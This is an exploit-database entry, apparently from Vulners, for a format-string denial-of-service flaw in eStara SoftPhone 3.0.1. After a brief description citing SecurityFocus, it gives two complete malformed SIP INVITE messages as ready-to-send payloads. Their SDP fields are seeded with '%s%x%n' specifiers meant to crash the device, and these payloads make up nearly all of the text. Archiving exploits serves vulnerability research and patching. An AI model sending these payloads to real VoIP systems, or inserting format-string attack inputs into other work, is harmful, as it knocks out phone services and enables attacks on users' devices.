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eStara SoftPhone 3.0.1 - SIP SDP Message Handling Format String DoS
source: http://www.securityfocus.com/bid/16629/info
eStara Smartphone is prone to multiple denial-of-service vulnerabilities when processing malformed VOIP headers. Successful exploitation will cause the device to crash.
INVITE sip:[email protected] SIP/2.0
Via: SIP/2.0/UDP 172.16.3.6:3333;branch=z9hG4bK00003013z9hG4bK.00003B37
From: 3013 <sip:[email protected]>;tag=3013
To: zwell <sip:[email protected]>
Call-ID: [email protected]
CSeq: 21086 INVITE
Content-Type: application/sdp
Content-Length: 134
v=0
o=3013 3013 3013 %s%x%n IP4 172.16.3.6
s=Session SDP
c=IN IP4 172.16.3.6
t=0 0
m=audio 9876 RTP/AVP 0
a=rtpmap:0 PCMU/8000
INVITE sip:[email protected] SIP/2.0
Via: SIP/2.0/UDP 172.16.3.6:3333;branch=z9hG4bK00003013z9hG4bK.00003B37
From: 3013 <sip:[email protected]>;tag=3013
To: zwell <sip:[email protected]>
Call-ID: [email protected]
CSeq: 21086 INVITE
Content-Type: application/sdp
Content-Length: 134
%s=0
o=4085 4085 4085 IN IP4 172.16.3.6
s=Session SDP
c=IN IP4 172.16.3.6
t=0 0
m=audio 9876 %s%x%n 0
a=rtpmap:0 PCMU/8000
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01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1